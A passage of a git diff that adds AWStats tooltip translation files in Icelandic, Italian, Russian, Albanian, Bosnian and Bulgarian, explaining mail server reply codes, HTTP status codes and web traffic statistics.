Sendmail-heg�un ?</div> +<div class="CTooltip" id="tt550"><b>Varanleg villa:</b> Sending br�fa til m�ttakanda fyrir utan l�n �itt er ekki leyf� e�a p�st�j�nn �inn veit ekki a� �� hafir a�gang a� honum til a� senda br�f � gegnum hann og au�kenningar er krafist. Einnig er m�gulegt a� til a� hindra sendingu RUSLP�STS leyfi sumir p�st�j�nar ekki sendingu br�fa ef nota� er netkerfi annars fyrirt�kis..</div> +<div class="CTooltip" id="tt551"><b>Varanleg villa:</b> Notandi ekki sta�bundinn: vinsamlegast reyndu <forward-path> e�a �gilt netfang: Bei�ni um sendingu br�fs � gegnum �j�ninn hafna�</div> +<div class="CTooltip" id="tt552"><b>Varanleg villa:</b> H�tt vi� umbe�na p�stskipun: ekki n�g pl�ss eftir. P�st�j�nn netveitu gefur til kynna a� p�sth�lf s� fullt, m�gulega vegna of margra br�fa..</div> +<div class="CTooltip" id="tt553"><b>Varanleg villa:</b> Umbe�in p�stskipun ekki framkv�md: nafn p�sth�lfs ekki leyft. Sumir p�st�j�nar hafa m�guleika � �v� a� takmarka fj�lda tenginga � einu og einnig fj�lda br�fa sendra � hverri tengingu. Ef �� er me� mikinn fj�lda br�fa � bi� (� sendingu) fyrir �kve�i� l�n, g�ti sending fari� yfir h�marksfj�lda br�fa � tengingu og/e�a breytingu s� krafist � br�finu og/e�a �fanganetfangi svo br�fi� geti komist til skila.</div> +<div class="CTooltip" id="tt554"><b>Varanleg villa:</b> Umbe�inni p�stskipun hafna�: a�gangi hafna�</div> +<div class="CTooltip" id="tt557"><b>Varanleg villa:</b> Of m�rg afrit af br�fi. P�st�j�nn ekki a�gengilegur � augnablikinu. Gefur (sennilega) til kynna a� �a� er einhvers konar v�rn gegn ruslp�sti � p�st�j�ninum.</div> +<div class="CTooltip" id="tt999">�etta er ��ekkt villa. �essi villa kemur ekki fr� p�st�j�ni heldur fr� maillogconvert.pl t�linu �egar �a� finnur a� sending hafi ekki tekist en ann�llinn inniheldur engar uppl�singar um villuna..</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-it.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-it.txt new file mode 100644 index 0000000..d366810 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-it.txt @@ -0,0 +1,68 @@ +<!-- Italian tooltips message file (starknight@starkingdom.it) --> +<!-- $Revision: 1.1 $ - $Date: 2006/01/04 18:52:48 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Numero di client host diversi (<b>indirizzi IP</b>) che hanno inviato email. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Numero di volte che una <b>email</b> � stata inviata con successo.<br /> +</div> +<div class="CTooltip" id="tt5"> +Questo valore indica la quantit� totale di dati trasferita dalle email.<br /> +Le unit� di misura sono espresse in KB, MB o GB (KiloByte, MegaByte o GigaByte) +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Gli orari visualizzati sono basati sul fuso orario del server.<br /> +</div> +<div class="CTooltip" id="tt18"> +I dati qui riportati sono <b>valori medi</b> (calcolati su tutti i dati tra la prima e l'ultima email nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt19"> +I dati qui riportati sono <b>somme cumulative</b> (calcolate su tutti i dati tra la prima e l'ultima email nel periodo di tempo analizzato) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Operazione riuscita:</b> Risposta di tipo non standard</div> +<div class="CTooltip" id="tt211"><b>Operazione riuscita:</b> Stato del sistema o risposta d'aiuto del sistema</div> +<div class="CTooltip" id="tt214"><b>Operazione riuscita:</b> Messaggio d'aiuto</div> +<div class="CTooltip" id="tt220"><b>Operazione riuscita:</b> <domain> Servizio pronto</div> +<div class="CTooltip" id="tt221"><b>Operazione riuscita:</b> <domain> Il servizio sta chiudendo il canale di trasmissione</div> +<div class="CTooltip" id="tt250"><b>Operazione riuscita:</b> Il server mail del vostro ISP ha eseguito con successo un comando ed il DNS riporta una consegna effettuata</div> +<div class="CTooltip" id="tt251"><b>Operazione riuscita:</b> Il messaggio contiene un indirizzo email non locale ma il server l'ha accettato e provveder� ad inoltrarlo verso un altro indirizzo di destinazione</div> +<div class="CTooltip" id="tt252"><b>Operazione riuscita:</b> Il destinatario non pu� essere verificato ma il server l'ha accettato e prover� a recapitarlo</div> + +<div class="CTooltip" id="tt354"><b>Operazione riuscita:</b> Significa che il server mail � pronto a ricevere il messaggio oppure invita il vostro client ad inviare il corpo del messaggio dopo aver ricevuto l'intestazione.</div> + +<div class="CTooltip" id="tt421"><b>Errore temporaneo:</b> Potrebbe essere la risposta a qualsiasi comando se il servizio sta per essere disattivato.</div> +<div class="CTooltip" id="tt450"><b>Errore temporaneo:</b> Il server mail del vostro ISP indica che un indirizzo di email non esiste, la casella � occupata oppure la email � stata temporaneamente rifiutata. E' possibile che la connessione sia caduta durante l'invio oppure che il server remoto non voglia accettare la email per qualche ragione (es. indirizzo IP, indirizzo mittente, destinatario, ecc.)</div> +<div class="CTooltip" id="tt451"><b>Errore temporaneo:</b> Il server mail del vostro ISP indica che l'invio � stato interrotto, solitamente a causa di un sovraccarico dovuto a troppi messaggi, oppure che il messaggio � valido ma alcuni eventi transitori ne impediscono l'invio. Si consiglia di ripetere l'operazione in un secondo momento</div> +<div class="CTooltip" id="tt452"><b>Errore temporaneo:</b> Il server mail del vostro ISP indica un probabile sovraccarico dovuto a troppi messaggi. Si consiglia di ripetere l'operazione in un secondo momento</div> +<div class="CTooltip" id="tt453"><b>Errore temporaneo:</b> Alcuni server mail hanno l'opzione di ridurre il numero di connessioni contemporanee ed anche il numero di messaggi inviati per connessione. Se avete troppi messaggi in coda questi potrebbero superare il numero massimo per connessione. Per verificarlo provate ad inviare pochi messaggi per volta verso quel dominio aumentando il numero ad ogni invio fino a scoprire il valore massimo accettato dal server</div> + +<div class="CTooltip" id="tt500"><b>Errore permanente:</b> Errore di sintassi, comando non riconosciuto o linea di comando troppo lunga</div> +<div class="CTooltip" id="tt501"><b>Errore permanente:</b> Errore di sintassi sui parametri o sugli argomenti</div> +<div class="CTooltip" id="tt502"><b>Errore permanente:</b> Comando non implementato</div> +<div class="CTooltip" id="tt503"><b>Errore permanente:</b> Il server ha incontrato una sequenza errata di comandi</div> +<div class="CTooltip" id="tt504"><b>Errore permanente:</b> Parametro del comando non implementato</div> +<div class="CTooltip" id="tt521"><b>Errore permanente:</b> Per usare questo server SMTP dovete autenticarvi tramite protocollo POP e specificare il vostro indirizzo email nel campo Sender/From (mittente)</div> +<div class="CTooltip" id="tt530"><b>Errore permanente:</b> Accesso negato. Un sendmailismo ?</div> +<div class="CTooltip" id="tt550"><b>Errore permanente:</b> L'invio di email a destinatari che non appartengono al proprio dominio non � consentito oppure � richiesta l'autenticazione per far sapere al server che siete autorizzati a farlo. Per evitare lo SPAM alcuni server non consentono l'invio di email verso qualsiasi indirizzo (relay) usando i computer e la rete di un'altra azienda.</div> +<div class="CTooltip" id="tt551"><b>Errore permanente:</b> Utente non locale: provare con <forward-path> oppure Indirizzo Invalido: richiesta di relay negata</div> +<div class="CTooltip" id="tt552"><b>Errore permanente:</b> Invio email interrotto: spazio su disco esaurito. Il server mail dell'ISP segnala un probabile sovraccarico dovuto all'invio di troppi messaggi.</div> +<div class="CTooltip" id="tt553"><b>Errore permanente:</b> Invio email non iniziato: nome della casella di posta non consentito. Alcuni server mail hanno l'opzione di ridurre il numero di connessioni contemporanee ed anche il numero di messaggi inviati per connessione. Se avete troppi messaggi in coda per un dominio questi potrebbero superare il numero massimo per connessione e richiedere alcune modifiche al testo e/o al destinatario per poter essere inviati.</div> +<div class="CTooltip" id="tt554"><b>Errore permanente:</b> Invio email rifiutato: accesso negato</div> +<div class="CTooltip" id="tt557"><b>Errore permanente:</b> Troppi messaggi duplicati. Se la risorsa non � momentaneamente disponibile � possibile che sul server mail sia installato un sistema anti-spam.</div> + +<div class="CTooltip" id="tt999">Errore ti tipo sconosciuto. Questo errore non viene segnalato dal server mail ma dal tool maillogconvert.pl quando rileva nel file di log che l'invio non � andato a buon fine ma non sono presenti spiegazioni sull'errore.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-ru.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-ru.txt new file mode 100644 index 0000000..504e712 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_m/awstats-tt-ru.txt @@ -0,0 +1,68 @@ +<!-- Russian tooltips message file --> +<!-- $Revision: 1.1 $ - $Date: 2009/05/25 16:06:42 $ --> +<div class="CTooltip" id="tt1"> +</div> +<div class="CTooltip" id="tt2"> +Число различных хостов (разные <b>IP адреса</b>), отправлявших письма. +</div> +<div class="CTooltip" id="tt3"> +</div> +<div class="CTooltip" id="tt4"> +Число успешных доставок <b>email</b>.<br /> +</div> +<div class="CTooltip" id="tt5"> +Это общий объем почтовой корреспонденции.<br /> +Единицы указываются в Kb, Mb или Gb (килобайты, мегабайты или гигабайты). +</div> +<div class="CTooltip" id="tt13"> +</div> +<div class="CTooltip" id="tt14"> +</div> +<div class="CTooltip" id="tt15"> +</div> +<div class="CTooltip" id="tt16"> +</div> +<div class="CTooltip" id="tt17"> +Отраженное в статистике время это серверное время.<br /> +</div> +<div class="CTooltip" id="tt18"> +Здесь, приведенные значения: <b>средние значения</b> (вычисленные по всем данным между первым и последним email в проанализированном диапазоне) +</div> +<div class="CTooltip" id="tt19"> +Здесь, приведенные значения: <b>кумулятивные суммы</b> (вычисленные по всем данным между первым и последним email в проанализированном диапазоне) +</div> +<div class="CTooltip" id="tt20"> +</div> + +<div class="CTooltip" id="tt200"><b>Успешно:</b> Нестандартный ответ.</div> +<div class="CTooltip" id="tt211"><b>Успешно:</b> Ответ о состоянии системы или помощь.</div> +<div class="CTooltip" id="tt214"><b>Успешно:</b> Сообщение-подсказка (помощь).</div> +<div class="CTooltip" id="tt220"><b>Успешно:</b> <domain> служба готова к работе.</div> +<div class="CTooltip" id="tt221"><b>Успешно:</b> <domain> служба закрывает канал связи.</div> +<div class="CTooltip" id="tt250"><b>Успешно:</b> Запрошенное действие почтовой транзакции успешно завершилось.</div> +<div class="CTooltip" id="tt251"><b>Успешно:</b> Адресат сообщения не обслуживается принимающим сервером, однако почтовый сервер знает по какому маршруту отправить сообщение дальше, поэтому принял его.</div> +<div class="CTooltip" id="tt252"><b>Успешно:</b> Адресат сообщения не может быть проверен принимающим сервером сейчас, но сервер принял сообщение и попытается его доставить.</div> + +<div class="CTooltip" id="tt354"><b>Еще не завершено:</b> Почтовый сервер готов принять сообщение и инструктирует почтовый клиент.</div> + +<div class="CTooltip" id="tt421"><b>Временная ошибка:</b> Может быть ответом на любую команду, если обслуживание клиентов почтовым сервером будет вскоре прервано.</div> +<div class="CTooltip" id="tt450"><b>Временная ошибка:</b> Запрошенная команда почтовой транзакции не выполнена, так как почтовый ящик недоступен. Может указывать также на фильтрацию принимающим сервером клиента по каким-либо признакам (IP адрес, заголовки From, To и т. п.).</div> +<div class="CTooltip" id="tt451"><b>Временная ошибка:</b> Запрошенная команда не выполнена; произошла локальная ошибка при обработке сообщения. Например, принимающий сервер перегружен входящими сообщениями.</div> +<div class="CTooltip" id="tt452"><b>Временная ошибка:</b> Запрошенная команда не выполнена; системе не хватило ресурсов.</div> +<div class="CTooltip" id="tt453"><b>Временная ошибка:</b> Принимающий сервер имеет ограничения числа одновременных соещинений и/или числа отправляемых сообщений в течение одной SMTP-сессии.</div> + +<div class="CTooltip" id="tt500"><b>Ошибка:</b> Синтаксическая ошибка в тексте команды; команда не опознана.</div> +<div class="CTooltip" id="tt501"><b>Ошибка:</b> Синтаксическая ошибка в аргументах или параметрах команды.</div> +<div class="CTooltip" id="tt502"><b>Ошибка:</b> Данная команда не реализована.</div> +<div class="CTooltip" id="tt503"><b>Ошибка:</b> Неверная последовательность команд.</div> +<div class="CTooltip" id="tt504"><b>Ошибка:</b> У данной команды не может быть аргументов.</div> +<div class="CTooltip" id="tt521"><b>Ошибка:</b> Вы должны авторизоваться перед использованием SMTP-сервера (используя POP3 протокол) и указать Ваш почтовый адрес в поле From.</div> +<div class="CTooltip" id="tt530"><b>Ошибка:</b> Доступ запрещен. (сендмализм?)</div> +<div class="CTooltip" id="tt550"><b>Ошибка:</b> Запрошенная команда не выполнена, так как почтовый ящик недоступен.</div> +<div class="CTooltip" id="tt551"><b>Ошибка:</b> Данный адресат не является местным: попробуйте передать сообщение по маршруту <forward-path> или неправильный адрес: запрос на передачу сообщения отклонен.</div> +<div class="CTooltip" id="tt552"><b>Ошибка:</b> Запрошенная команда почтовой транзакции прервана; дисковое пространство, доступное системе, переполнилось.</div> +<div class="CTooltip" id="tt553"><b>Ошибка:</b> Запрошенная команда не выполнена; указано недопустимое имя почтового ящика.</div> +<div class="CTooltip" id="tt554"><b>Ошибка:</b> Транзакция не выполнена.</div> +<div class="CTooltip" id="tt557"><b>Ошибка:</b> Указывает (вероятно) на фильтрацию сообщения какой-либо антиспам-системой на принимающем сервере, учитывающей содержимое письма.</div> + +<div class="CTooltip" id="tt999"> Неизвестная ошибка. Данный код генерирует утилита maillogconvert.pl, когда парсинг почтового журнала указывает на неуспешную доставку сообщения, хотя строки с SMTP-ошибкой нет.</div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-al.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-al.txt new file mode 100644 index 0000000..d529d92 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-al.txt @@ -0,0 +1,69 @@ +<!-- Shpjeguesi Shqip. Ju lutem më kontaktoni për korrigjime (artonberisha@radiokosova.net, http://www.radiokosova.net) --> +<!-- $Revision: 1.3 $ - $Date: 2008/11/15 15:55:45 $ --> +<div class="CTooltip" id="tt1"> +Vizita është përkufizuar si <b>vizitor</b> risi (Shfletimin apo Shiqimin e faqes) të cilët nuk e kan vizituar faqen që nga <b>#VisitTimeOut# min</b>. +</div> +<div class="CTooltip" id="tt2"> +Numri i klientëve strehues (<b>IP adresa</b>) të cilët erdhën ta vizitojnë faqen (dhe që shfletuan se paku një <b>faqe</b>).<br /> +Këto t'dhëna tregojnë numrin e <b>personave të ndryshëm fizikë</b> të cilët arritën faqen në çdo ditë. +</div> +<div class="CTooltip" id="tt3"> +Hera e <b>faqeve</b> që është <b>shiquar</b> (Shuma e të gjitha vizitave).<br /> +Kjo pjes e t'dhënave ndryshon nga "Hyrjet" në atë mënyr i numron vetëm faqet HTML kundër atyre për figur dhe të tjera. +</div> +<div class="CTooltip" id="tt4"> +Hera e <b>faqes, figurës, vargut</b> që është <b>shiquar</b> ose <b>shkarkuar</b> nga dikush.<br /> +Këto t'dhëna janë ofruar vetëm si referencë, pasi që numri i shiqimeve "Faqe" është menduar për qëllime tregtie. +</div> +<div class="CTooltip" id="tt5"> +Kjo informatë trtegon sasinë e t'dhënave shkarkuar nga të gjitha <b>faqet</b>, <b>figurat</b> dhe <b>vargjet</b> mbrenda një Faqësie.<br /> +Njesitë janë në KB, MB ose GB (KiloBajt, MegaBajta or GigaBajta) +</div> +<div class="CTooltip" id="tt13"> +#PROG# e njeh çdo lidhje në faqe <b>search</b> nga <b>#SearchEnginesArray# Makinat Kërkuese në Internet më të popullarizuara si dhe Tregues</b> (si Yahoo, Altavista, Lycos, Google, Voila, etj...). +</div> +<div class="CTooltip" id="tt14"> +Lista e të gjitha <b>faqeve jashta faqës</b> që nyjëzuan (dhe hyrje) te faqja e juaj (Vetëm <b>#MaxNbOfRefererShown#</b> faqe më të shpeshta). +Nyjet që janë përdor nga rezultatet e makinave kërkuese janë përjashtu këtu sepse ato përfshi në rreshtat e tabelave. +</div> +<div class="CTooltip" id="tt15"> +Kjo tabelë tregon <b>kryefrazat dhe kryefjalitë</b> më të shpeshta që janë përdorur ta gjejnë faqen tënde nga Makinat Kërkuese dhe tregues në Internet. +(kryefjalë nga <b>#SearchEnginesArray#</b> Makinat Kërkuese dhe Treguest më të popullarizuar janë njohur nga #PROG#, si Yahoo, Altavista, Lycos, Google, Voila, etj...).<br /> +Vështri se shuma e kryefalive mund të jet më i madh se sa shume për kryefraza (numri real i kërkesave) sepse ndoshta dy fjali janë përdor në të njejtin Kërkues, kërkuese është numruar dy herë për fjali (një herë për çdo fjalë). +</div> +<div class="CTooltip" id="tt16"> +Robotat (rrallë emruar si Marimanga) janë <b>vizita automatike kompjuterike</b> përdorur nga shumë Makina Kërkuese që e Shiqon faqen tënga për tregues dhe radhitje, grumbullon statistika në Faqet e Internetit dhe/ose shiqon nëse faqja e juajështë ende në linje.<br /> +#PROG# Ka mundësi që t'i njohë <b>#RobotArray#</b> robota. +</div> +<div class="CTooltip" id="tt17"> +Të gjitha vizitat janë bazuar nga koha reale e Shërbyesit. +</div> +<div class="CTooltip" id="tt18"> +Këtu, t'dhënat e raportuara janë: <b>valutat mesatare</b> (llogaritur nga t'dhëant ndërmjet vizites së parë dhe të fundit) +</div> +<div class="CTooltip" id="tt19"> +Këtu, t'dhënat e raportuara janë: <b>Shuma grumbulluese</b> (llogaritur nga t'dhëant ndërmjet vizites së parë dhe të fundit) +</div> +<div class="CTooltip" id="tt20"> +Disa <b>zgjatje të vizitave</b> janë 'panjohur' sepse gjithmonë ato nuk mund të llogariten. Kjo është arsya kryesore për këtë:<br /> +- vizita nuk ishte përfundur kur 'freskimi' ndodhi.<br /> +- vizita filloi në orën e fundit (pas 23:00) te fundi i ditës së muajit (Një arsye teknike parandalon #PROG# për llogaritjen e një zgjatje të një mbledhje të tillë) +</div> + +<div class="CTooltip" id="tt201"> Nuk ka përshkrim për këtë gabim. </div> +<div class="CTooltip" id="tt202"> Kërkesa është kuptuar nga shërbyesi por do të kryesohet më vonë. </div> +<div class="CTooltip" id="tt204"> Shërbyesi ka kryesuar mirpo atje nuk ka dokument për ta dërguar. </div> +<div class="CTooltip" id="tt206"> Përmbajtje gjysore. </div> +<div class="CTooltip" id="tt301"> Dokumenti i kërkuar ishte larguar dhe tani një adres tjetër është përgjigj. </div> +<div class="CTooltip" id="tt302"> Nuk ka përshkrim për këtë gabim. </div> +<div class="CTooltip" id="tt400"> Gabim sintaksor, shërbyesi nuk e ka kuptuar kërkesen. </div> +<div class="CTooltip" id="tt401"> Provoi që ta arrij një <b>URL ku një hyrje/parullë është nevojitur</b>.<br />Numri i madh në këtë gjë d.m.th. se (si psh. Grepi) është duke provuar që ta then, ose për të hyr në faqen tënde të siguruar (si shembull, duke shpresuar se duke provu parulla të ndryshme mund të hynë në hapsiren e siguruar). </div> +<div class="CTooltip" id="tt403"> Provoi që ta arrij një <b>URL pa trajtur për arritje, edhe me parullë</b> (për shembull, një URL mbrenda Treguesit jo e përkufizuar si "shfletuese".). </div> +<div class="CTooltip" id="tt404"> Provoi që ta arrij një <b>URL joekzistuese</b>. Ky gabim shpesh dmth një nyje pavlerë diku në faqen tënde ekziston ose vizitori e ka gabuar një URL të caktuar. </div> +<div class="CTooltip" id="tt408"> Shërbyesi shfrytëzoi <b>shumë kohë</b> ti përgjigjet kërkesës. Ky gabim shpesh përfshin skriptat (CGI, PHP) e ngadalshëm që shërbyesi është detyru që ta zhduk Faqe shërbyesin jashtëzakonisht të dyndur. </div> +<div class="CTooltip" id="tt500"> Gabim i mbrendshëm. Ky gabim shpesh shkaktohet nga një program CGI që përfundoi parregull (psh trajtim i keq). </div> +<div class="CTooltip" id="tt501"> Kërkes e panjohur. </div> +<div class="CTooltip" id="tt502"> Kodi i kthyer nga një shërbyes HTTP që punon si portë prokurie kur realisht, shërbyesi shenjuar nuk përgjigjet sukseshëm te kërkesat e klientëve. </div> +<div class="CTooltip" id="tt503"> Gabim mbrenda shërbyesit. </div> +<div class="CTooltip" id="tt504"> Parta tejkaloi kohën. </div> +<div class="CTooltip" id="tt505"> Botimi i HTTP Nuk është i Përkrahur </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ba.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ba.txt new file mode 100644 index 0000000..938d72a --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-ba.txt @@ -0,0 +1,54 @@ +<!--BA by vljubovic@smartnet.ba (please contact me if something is wrong)--> +<!-- $Revision: 1.1 $ - $Date: 2004/02/07 16:14:10 $ --> +<div class="CTooltip" id="tt1"> +Novi posjet se defini�e kao svaki novi <b>dolaze�i posjetitelj</b> (koji pregleda stranicu) koji se nije konektovao na va� sajt u toku posljednjih <b>#VisitTimeOut# minuta</b>. +</div> +<div class="CTooltip" id="tt2"> +Broj korisni�kih ra�unara (<b>IP adresa</b>) koji su posje�ivali sajt (i vidjeli najmanje jednu <b>stranicu</b>).<br /> +Ovaj podatak govori o broju <b>fizi�ki razli�itih osoba</b> koji su posjetili sajt tokom jednog dana. +</div> +<div class="CTooltip" id="tt3"> +Koliko puta je jedna <b>stranica</b> sajta bila <b>pregledana</b> (Suma za sve posjetitelje tokom svih posjeta).<br /> +Ovaj podatak se razlikuje od "pogodaka" po tome �to broji samo HTML stranice za razliku od slika i drugih datoteka. +</div> +<div class="CTooltip" id="tt4"> +Koliko puta je jedna <b>stranica, slika, datoteka</b> sajta bila <b>pregledana</b> ili <b>downloadovana</b> od strane nekoga.<br /> +Ovaj podatak slu�i samo kao referenca, po�to je broj "stranica" znatno korisniji za razne marketin�ke potrebe. +</div> +<div class="CTooltip" id="tt5"> +Ova informacija govori o koli�ini downloadiranih podataka za sve <b>stranice</b>, <b>slike</b> i <b>datoteke</b> u okviru va�eg sajta.<br /> +Jedinice su Kb, Mb ili Gb (kilobajti, megabajti ili gigabajti). Ovaj podatak je koristan kako biste pratili ostvareni transfer sa va�e stranice. +</div> +<div class="CTooltip" id="tt13"> +#PROG# prepoznaje svaki pristup va�em sajtu nakon <b>pretrage</b> pomo�u <b>#SearchEnginesArray# najpopularnijih Internet pretra�iva�a i direktorija</b> (kao �to su Yahoo, Altavista, Lycos, Google, Voila, itd...). +</div> +<div class="CTooltip" id="tt14"> +Lista svih <b>vanjskih stranica</b> na kojima se nalazi link koji je korisnik upotrijebio da bi do�ao na va�u stranicu (Samo <b>#MaxNbOfRefererShown#</b> naj�e��ih linkova je prikazano). +Linkovi koji su rezultat pretra�iva�a su isklju�eni jer smo ih ve� prikazali u prethodnom redu ove tabele. +</div> +<div class="CTooltip" id="tt15"> +Ova tabela prikazuje listu <b>klju�nih rije�i</b> koje se naj�e��e koriste za pronala�enje va�eg sajta pomo�u Internet pretra�iva�a ili direktorija. +(#PROG# prepoznaje klju�ne rije�i <b>#SearchEnginesArray#</b> naj�e��ih pretra�iva�a i direktorija, me�u kojima su i Yahoo, Altavista, Lycos, Google, Voila, itd...). +</div> +<div class="CTooltip" id="tt16"> +Roboti (koji se ponekad nazivaju Spideri) su <b>ra�unarski programi</b> koje koriste mnogi pretra�iva�i kako bi analizirali va�u stranicu i time (1) indeksirali i rangirali va�u stranicu, (2) prikupili statistike o Web stranicama i/ili (3) provjerili da li je va� sajt jo� uvijek online.<br /> +#PROG# mo�e prepoznati do <b>#RobotArray#</b> robota. +</div> + +<div class="CTooltip" id="tt201"> Nema opisa za ovu gre�ku. </div> +<div class="CTooltip" id="tt202"> Server je razumio zahtjev, ali �e ga obraditi kasnije. </div> +<div class="CTooltip" id="tt204"> Server je obradio zahtjev ali nema �ta da po�alje korisniku. </div> +<div class="CTooltip" id="tt206"> Djelomi�an sadr�aj (korisnik je prekinuo otvaranje stranice). </div> +<div class="CTooltip" id="tt301"> Tra�eni dokument je premje�ten na novo mjesto i nova adresa je data korisniku (redirekcija). </div> +<div class="CTooltip" id="tt302"> Tra�eni dokument je premje�ten na novo mjesto i nova adresa je data korisniku (redirekcija). </div> +<div class="CTooltip" id="tt400"> Sintaksna gre�ka, server nije razumio zahtjev. </div> +<div class="CTooltip" id="tt401"> Korisnik je poku�ao otvoriti <b>URL za koji je potrebno dati login/�ifru</b>.<br />Veliki broj pod ovom stavkom mo�e zna�iti da neko (npr. hacker) poku�ava provaliti u va� sajt (npr. isprobavaju�i razne kombinacije logina/�ifre za ulazak). </div> +<div class="CTooltip" id="tt403"> Korisnik je poku�ao otvoriti <b>URL koji je pode�en da mu se ne mo�e pristupiti, �ak ni sa loginom/�ifrom</b> (npr. URL unutar direktorija koji nije definisan kao pristupa�an.). </div> +<div class="CTooltip" id="tt404"> Korisnik je poku�ao pristupiti <b>nepostoje�em URLu</b>. Ova gre�ka obi�no zna�i da negdje na va�em sajtu postoji neispravan link ili da je korisnik neispravno ukucao odre�eni URL. </div> +<div class="CTooltip" id="tt408"> Serveru je trebalo <b>previ�e vremena</b> da odgovori na zahtjev. Kod ove gre�ke se obi�no radi ili o sporoj CGI skripti koju je server morao prekinuti, o sporoj konekciji korisnika ili o ekstremnom zagu�enju saobra�aja na web serveru. </div> +<div class="CTooltip" id="tt500"> Interna gre�ka. Ovu gre�ku uzrokuje CGI program koji sadr�i neku gre�ku te je prekinuo rad abnormalno. </div> +<div class="CTooltip" id="tt501"> Zahtjevana je nepoznata akcija. </div> +<div class="CTooltip" id="tt502"> Ovaj kod vra�a HTTP server koji radi kao proxy ili gateway, i to ako stvarni server ne odgovori uspje�no na zahtjev klijenta. </div> +<div class="CTooltip" id="tt503"> Interna gre�ka na serveru. </div> +<div class="CTooltip" id="tt504"> Ovaj kod vra�a HTTP server koji radi kao gateway, i to ako prilikom kontaktiranja stvarnog servera istekne predvi�eno vrijeme (gateway timeout). </div> +<div class="CTooltip" id="tt505"> Klijent zahtjeva verziju HTTPa koja nije podr�ana. </div> diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-bg.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-bg.txt new file mode 100644 index 0000000..6b6bd29 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/tooltips_w/awstats-tt-bg.txt @@ -0,0 +1,69 @@ +<!-- Bulgarian tooltips message file translated by Aryan(aryan@bgns.net) --> +<!-- $Revision: 1.3 $ - $Date: 2011/11/02 10:49:00 $ --> +<div class="CTooltip" id="tt1"> +Ново посещение се отчита при всеки нов <b>входящ посетител</b> (разглеждащ страница), който не е посещавал през последните <b>#VisitTimeOut# min</b>. +</div> +<div class="CTooltip" id="tt2"> +Броят на клиентските хостове (<b>IP адреси</b>), които са посетили сайта (и са разгледали поне една <b>страница</b>).<br /> +Тези данни показват броя на <b>различните физически лица</b>, посетили сайта във всеки един ден. +</div> +<div class="CTooltip" id="tt3"> +Колко пъти <b>тази страница</b> от сайта е <b>разгледана</b> (Общо за всички посетители за всички посещения).<br /> +Тези данни се различават от "хитове" по това, че отброяват само HTML страници (без картинките и другите видове файлове). +</div> +<div class="CTooltip" id="tt4"> +Колко пъти <b>страница, картинка или друг файл</b> от сайта е <b>разгледан</b> или <b>свален</b> от посетител.<br /> +Тези данни са само справочни, тъй като броя на разгледаните "страници" често са обект на маркетингова политика. +</div> +<div class="CTooltip" id="tt5"> +Тази информация се отнася до количеството данни свалени с всички <b>страници</b>, <b>картинки</b> и <b>файлове</b> във вашият сайт.<br /> +Мерните единици са в KB, MB или GB (Килобайти, Мегабайти или Гигабайти) +</div> +<div class="CTooltip" id="tt13"> +#PROG# разпознава всеки достъп до вашия сайт след <b>претърсване</b> от <b>#SearchEnginesArray# популярните търсачки</b> (като Yahoo, Altavista, Lycos, Google, Voila, и т.н....). +</div> +<div class="CTooltip" id="tt14"> +Списък на всички <b>външни страници</b> използвани за връзка (и вход) към вашият сайт (Само <b>#MaxNbOfRefererShown#</b>-те най-често използвани външни страници са показани). +Връзките, използвани като резултат от търсачките са изключени, т.к. вече са показани в предишния ред от тази таблица. +</div> +<div class="CTooltip" id="tt15"> +Таблицата показва списък с най-често използваните <b>ключови фрази или думи</b> използвани за намиране на вашият сайт с помощта на интернет търсачки. +(Ключовите думи от <b>#SearchEnginesArray#</b> най-популярните търсачки са разпознати от #PROG#, като Yahoo, Altavista, Lycos, Google, Voila, и т.н...).<br /> +Заб.: общият брой на търсенията по ключови думи може да превишава броя на търсенията по ключови фрази (истинският брой на търсенията), защото ако се използват 2 кл. думи при едно и също търсене се отброяват 2 търсения по думи (по веднъж за всяка дума). +</div> +<div class="CTooltip" id="tt16"> +Роботите (известни и като Паяци) са <b>автоматизирани компютърни посетители</b> използвани от търсачките да сканират сайта ви за индексиране и класифициране: те събират информация за Уеб сайтовете и/или проверяват дали сайтът ви е онлайн.<br /> +#PROG# може да разпознае до <b>#RobotArray#</b> робота. +</div> +<div class="CTooltip" id="tt17"> +Всички времеви статистики са базирани на часовото време на сървъра. +</div> +<div class="CTooltip" id="tt18"> +Докладваните данни са: <b>приблизителни стойности</b> (изчислени от всички данни между началното и последното посещение) +</div> +<div class="CTooltip" id="tt19"> +Докладваните данни са: <b>нарастващи суми</b> (изчислени от всички данни между началното и последното посещение) +</div> +<div class="CTooltip" id="tt20"> +Някои стойности на <b>Продължителност на посещенията</b> са 'неизвестни' защото невинаги могат да бъдат изчислени. Основната причина за това е:<br /> +- Посещението още не е приключило, когато 